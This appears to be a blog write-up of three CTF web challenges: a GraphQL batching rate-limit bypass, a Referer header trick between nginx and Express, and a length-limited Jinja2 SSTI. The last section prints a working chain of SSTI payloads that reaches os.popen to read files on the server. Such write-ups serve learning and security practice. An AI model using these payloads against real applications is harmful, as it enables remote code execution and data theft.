Introduction
Another CTF, this time featuring a trivial chall solved with a complicated unintended solution.
Best Schools
We can add to a school’s number of clicks by pressing the respective button.
To obtain the flag, we need the flag school to have the most clicks out of any other school. The highest number of clicks on the leaderboard is 1337, so we will need to attain 1338 clicks on the flag school to retrieve the flag.
However, we are rate limited in how fast we can press the button, so we can’t brute force with 1338 click requests.
The objective seems to be to find a rate limit bypass. We’ll begin by examining the request sent by clicking the button.
The application appears to use GraphQL as its query language. A known trick to bypass rate limits is to send a large batch of queries in a single request if supported by the query language. Looking for an application of GraphQL batching, we find an article with a format for GraphQL batching queries.
From this, we can see that GraphQL batching is allowed by the server. To solve the challenge, we just increase our number of batched requests:
Then, we click the flag button once more:
Referrrrer
This challenge greets us with the following screen.
Examining the source, we find the following:
app.get("/admin", (req, res) => {
if (req.header("referer") === "YOU_SHOUD_NOT_PASS!") {
return res.send(process.env.FLAG);
}
res.send("Wrong header!");
})
server {
listen 80;
server_name example.com;
location / {
proxy_pass http://express_app;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
location /admin {
if ($http_referer !~* "^https://admin\.internal\.com") {
return 403;
}
proxy_pass http://express_app;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
To retrieve the flag, we must set our the referer
header to “YOU_SHOUD_NOT_PASS!”, as specified by the code for the /admin
endpoint. However, the nginx config specifies that referer
must also match the ^https://admin\.internal\.com
regex if the server is to not respond with a 403. How can we have two values for referer?
In fact, I vaguely remember reading a twitter post retweeted by LiveOverflow about a month ago on strange behaviour with the referer
header.
The trick is that refer*rer
is taken as equivalent to referer
in express.
Drink From my Flask #1
We arrive at the following page.
Looking for other pages, we find that the URL is reflected in the page.
As we have some user-controlled input that is reflected in the page, we test for SSTI as the title of the challenge implies Flask is being used.
SSTI must be possible then. We will test a more significant jinja2 SSTI payload.
This is meant to be the shortest possible SSTI payload for jinja2.
With objectwalker we can find a path to the os module from lipsum. This is the shortest payload known to achieve RCE in a Jinja2 template.
(from PayloadsAllTheThings)
We will take a detour and look at /adminPage
.
How is the server role determining our role. In fact, we can see that it’s getting our role from a JWT cookie sent to our browser.
Likely, that endpoint would also susceptible to SSTI if we could edit the JWT, but we don’t know the key to sign one for ourselves. Hence, we conclude that we must keep trying on the 404 endpoint.
Doing more testing, we find that the url path has a limit of 35 characters. furthermore, we find that each url parameter a limit of 35 characters as well.
The challenge is to find the flag on the server using only SSTI payloads less than 35 characters in length. What if we leveraged Flask config variables to try and shorten our payload? We have access to the config as a global variable in jinja2 templates, so we could try to extend our payload by storing parts of it in the config variable.
Our payload to shorten is lipsum.__globals__["os"].popen('id').read()
. We have to use 5 charcters for /
, so we really only have 30 characters in our url path. After some testing, we arrive at the following chain.
/{{config.update(u=config.update)}}
/{{config.u(g="__globals__)}}
/{{config.u(l=lipsum[config.g])}}
/{{config.u(o=config.l['os'])}}
/{{config.u(p=o.popen)}}
/{{config.u(r=request.args)}}?b=cat+app.py&c=cat+flag.txt
/{{config.p(config.r.b).read()}}
/{{config.p(config.r.c).read()}}
The JWT key was ‘key’. The solution was meant to be brute forcing the JWT…